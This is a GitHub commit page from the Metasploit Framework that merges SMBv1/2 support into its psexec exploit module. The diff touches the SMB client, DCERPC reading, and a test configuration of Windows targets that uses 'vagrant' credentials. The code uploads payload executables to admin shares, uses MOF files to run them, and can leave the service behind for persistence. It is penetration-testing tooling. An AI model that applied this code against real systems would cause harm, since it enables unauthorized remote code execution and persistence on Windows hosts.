Skip to content

Commit

Permalink
Land #10185, add SMBv1/2 support in psexec
Browse files Browse the repository at this point in the history
  • Loading branch information
busterb committed Jun 29, 2018
2 parents 1b386c9 + 3b228b0 commit 85dc81a
Show file tree
Hide file tree
Showing 7 changed files with 90 additions and 92 deletions.
6 changes: 4 additions & 2 deletions lib/msf/core/exploit/smb/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -166,8 +166,8 @@ def smb_create(pipe)
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
def smb_open(path, perm, read: true, write: false)
self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)
end

def smb_hostname
Expand Down Expand Up @@ -220,6 +220,8 @@ def splitname(uname)
def smb_file_exist?(file)
begin
fd = simple.open(file, 'o')
rescue RubySMB::Error::UnexpectedStatusCode => e
found = false
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
Expand Down
92 changes: 45 additions & 47 deletions lib/msf/core/exploit/smb/client/psexec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -142,54 +142,52 @@ def psexec(command, disconnect=true)
if svc_handle.nil?
print_error("No service handle retrieved")
return false
else
end

if service_description
vprint_status("Changing service description...")
svc_client.changeservicedescription(svc_handle, service_description)
end
if service_description
vprint_status("Changing service description...")
svc_client.changeservicedescription(svc_handle, service_description)
end

vprint_status("Starting the service...")
vprint_status("Starting the service...")
begin
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out, OK if running a command or non-service executable...")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
ensure
begin
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out, OK if running a command or non-service executable...")
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
print_warning("Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
print_warning("Not removing service for persistence...")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
ensure
begin
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
print_warning("Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
print_warning("Not removing service for persistence...")
vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("Successfully removed the service")
else
vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("Successfully removed the service")
else
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
ensure
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
ensure
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
end

if disconnect
sleep(1)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end

Expand Down Expand Up @@ -272,11 +270,11 @@ def execute_powershell_payload
end

def native_upload(smb_share)
filename = "#{rand_text_alpha(8)}.exe"
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
serviceencoder = ''

# Upload the shellcode to a file
print_status("Uploading payload...")
print_status("Uploading payload... #{filename}")
smbshare = smb_share
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
Expand All @@ -288,11 +286,11 @@ def native_upload(smb_share)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
fd = smb_open("#{filename}", 'rwct', write: true)
end
exe = ''
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
Expand Down Expand Up @@ -330,14 +328,14 @@ def native_upload(smb_share)
if smb_share =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
simple.delete("#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
simple.delete("#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
Expand All @@ -347,7 +345,7 @@ def native_upload(smb_share)

def mof_upload(smb_share)
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = "#{rand_text_alpha(8)}.exe"
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"

# payload as exe
print_status("Trying wbemexec...")
Expand All @@ -358,16 +356,16 @@ def mof_upload(smb_share)
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")

# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
Expand Down
39 changes: 1 addition & 38 deletions lib/rex/proto/dcerpc/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -141,43 +141,7 @@ def read()
# Are we reading from a remote pipe over SMB?
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
begin

# Max SMB read is 65535, cap it at 64000
max_read = [64000, max_read].min
min_read = [64000, min_read].min

read_limit = nil

while(true)
# Random read offsets will not work on Windows NT 4.0 (thanks Dave!)

read_cnt = (rand(max_read-min_read)+min_read)
if(read_limit)
if(read_cnt + raw_response.length > read_limit)
read_cnt = raw_response.length - read_limit
end
end

data = self.socket.read(read_cnt, rand(1024)+1)
break if !(data and data.length > 0)
raw_response += data

# Keep reading until we have at least the DCERPC header
next if raw_response.length < 10

# We now have to process the raw_response and parse out the DCERPC fragment length
# if we have read enough data. Once we have the length value, we need to make sure
# that we don't read beyond this amount, or it can screw up the SMB state
if (not read_limit)
begin
check = Rex::Proto::DCERPC::Response.new(raw_response)
read_limit = check.frag_len
rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket
end
end
break if (read_limit and read_limit <= raw_response.length)
end

raw_response = self.socket.read(65535, 0)
rescue Rex::Proto::SMB::Exceptions::NoReply
# I don't care if I didn't get a reply...
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
Expand Down Expand Up @@ -306,7 +270,6 @@ def call(function, data, do_recv = true)
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end


self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

if self.last_response.type == 3
Expand Down
6 changes: 5 additions & 1 deletion lib/rex/proto/smb/simpleclient.rb
Original file line number Diff line number Diff line change
Expand Up @@ -214,7 +214,11 @@ def open(path, perm, chunk_size = 48000, read: true, write: false)
end

def delete(*args)
self.client.delete(*args)
if self.versions.include?(2)
self.client.delete(args[0])
else
self.client.delete(*args)
end
end

def create_pipe(path, perm = 'c')
Expand Down
12 changes: 10 additions & 2 deletions lib/rex/proto/smb/simpleclient/open_file.rb
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ def close
client.close(file_id, tree_id)
end

def read_ruby_smb(length, offset)
def read_ruby_smb(length, offset, depth = 0)
if length.nil?
max_size = client.open_files[client.last_file_id].size
fptr = offset
Expand All @@ -47,7 +47,15 @@ def read_ruby_smb(length, offset)
fptr = data.length
end
else
data = client.read(file_id, offset, length).pack('C*')
begin
data = client.read(file_id, offset, length).pack('C*')
rescue RubySMB::Error::UnexpectedStatusCode => e
if e.message == 'STATUS_PIPE_EMPTY' && depth < 2
data = read_ruby_smb(length, offset, depth + 1)
else
raise e
end
end
end

data
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/smb/psexec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ def initialize(info = {})

def exploit
print_status("Connecting to the server...")
connect()
connect(versions: [1,2])

print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()
Expand Down
25 changes: 24 additions & 1 deletion test/modules/exploits/windows/smb/psexec.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,8 @@
"NAME": "exploit/windows/smb/psexec",
"SETTINGS": [
"SMBUser=vagrant",
"SMBPass=vagrant"
"SMBPass=vagrant",
"TARGET=0"
]
}
],
Expand Down Expand Up @@ -42,6 +43,28 @@
},
{
"CPE": "cpe:/o:microsoft:windows_10:::x64"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_7::sp1:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_10:1607::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1:::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
}
],
"TARGET_GLOBALS": {
Expand Down

0 comments on commit 85dc81a

Please sign in to comment.